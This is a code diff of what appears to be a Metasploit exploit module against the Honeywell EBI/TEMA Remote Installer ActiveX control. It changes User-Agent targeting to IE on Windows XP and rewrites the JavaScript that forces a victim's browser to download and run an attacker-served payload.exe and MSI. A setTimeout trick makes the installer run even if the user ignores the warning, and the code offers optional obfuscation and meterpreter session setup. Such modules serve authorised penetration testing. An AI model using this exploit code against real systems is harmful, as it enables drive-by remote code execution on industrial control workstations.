@@ -22,7 +22,8 @@ def initialize(info={})
22
22
Installer. This ActiveX control can be abused by using the DownloadFromURL()
23
23
function to install an arbitrary MSI from a remote location without checking source
24
24
authenticity or user notification. This module has been tested successfully with
25
- the Remote Installer ActiveX installed with HoneyWell EBI R410.1 - TEMA 5.3.0.
25
+ the Remote Installer ActiveX installed with HoneyWell EBI R410.1 - TEMA 5.3.0 and
26
+ Internet Explorer 6, 7 and 8 on Windows XP SP3.
26
27
} ,
27
28
'License' => MSF_LICENSE ,
28
29
'Author' =>
@@ -64,11 +65,6 @@ def initialize(info={})
64
65
] , self . class )
65
66
end
66
67
67
- def exploit
68
- @msi_name = rand_text_alpha ( 5 + rand ( 5 ) ) + ".msi"
69
- super
70
- end
71
-
72
68
def on_new_session ( session )
73
69
if session . type == "meterpreter"
74
70
session . core . use ( "stdapi" ) unless session . ext . aliases . include? ( "stdapi" )
@@ -100,7 +96,9 @@ def on_new_session(session)
100
96
def on_request_uri ( cli , request )
101
97
agent = request . headers [ 'User-Agent' ]
102
98
103
- if agent !~ /MSIE \d / and agent !~ /Tema_RemoteInstaller/
99
+ # Windows 7 isn't normally supported because the user won't have write access to the
100
+ # %WINDIR%/Temp directory, where the downloaded components are stored.
101
+ if not ( agent =~ /MSIE \d / and agent =~ /NT 5\. 1/ ) and agent !~ /Tema_RemoteInstaller/
104
102
print_error ( "Browser not supported: #{ agent . to_s } " )
105
103
send_not_found ( cli )
106
104
return
@@ -122,26 +120,36 @@ def on_request_uri(cli, request)
122
120
source = ::File . open ( msi_source , "rb" ) { |fd | fd . read ( fd . stat . size ) }
123
121
print_status ( "Sending msi" )
124
122
send_response ( cli , source , { 'Content-Type' => 'application/octet-stream' } )
125
- register_file_for_cleanup ( "#{ @msi_name } " ) unless @dropped_files and @dropped_files . include? ( "#{ @msi_name } " )
123
+ register_file_for_cleanup ( "ThinClient_TemaKit.msi" ) unless @dropped_files and @dropped_files . include? ( "ThinClient_TemaKit.msi" )
124
+ register_file_for_cleanup ( "ThinClient_TemaKit.log" ) unless @dropped_files and @dropped_files . include? ( "ThinClient_TemaKit.log" )
126
125
return
127
126
end
128
127
129
- # The 'setTimeout' trick allows to execute the installer even if the user doesn't click the popup
130
- # warning when downloading the payload.
131
- # <object id="obj" classid="clsid:E01DF79C-BE0C-4999-9B13-B5F7B2306E9B">
132
- js = <<-EOS
133
- var obj = new ActiveXObject('Tema_RemoteInstaller.RemoteInstaller');
134
- setTimeout(function(){obj.DownloadFromURL('#{ get_uri } /#{ @msi_name } ');},1000);
135
- obj.DownloadFromURL('#{ get_uri } /payload.exe');
136
- EOS
137
- js . gsub! ( /\t \t / , "" )
128
+ if agent =~ /MSIE 6/
129
+ # The 'setTimeout' trick allows to execute the installer on IE6 even if the user
130
+ # doesn't click the warning popup when downloading the payload.
131
+ # The ThinClient_TemaKit.msi installer name must be static.
132
+ # <object id="obj" classid="clsid:E01DF79C-BE0C-4999-9B13-B5F7B2306E9B">
133
+ js = <<-EOS
134
+ var obj = new ActiveXObject('Tema_RemoteInstaller.RemoteInstaller');
135
+ setTimeout("obj.DownloadFromURL('#{ get_uri } /ThinClient_TemaKit.msi');", 1000);
136
+ obj.DownloadFromURL('#{ get_uri } /payload.exe');
137
+ EOS
138
+ else
139
+ js = <<-EOS
140
+ var obj = new ActiveXObject('Tema_RemoteInstaller.RemoteInstaller');
141
+ obj.DownloadFromURL('#{ get_uri } /payload.exe');
142
+ obj.DownloadFromURL('#{ get_uri } /ThinClient_TemaKit.msi');
143
+ EOS
144
+ end
145
+
146
+ js . gsub! ( /\t \t \t / , "" )
138
147
139
148
if datastore [ 'OBFUSCATE' ]
140
149
js = ::Rex ::Exploitation ::JSObfu . new ( js )
141
150
js . obfuscate
142
151
end
143
152
144
-
145
153
html = <<-EOS
146
154
<html>
147
155
<body>
0 commit comments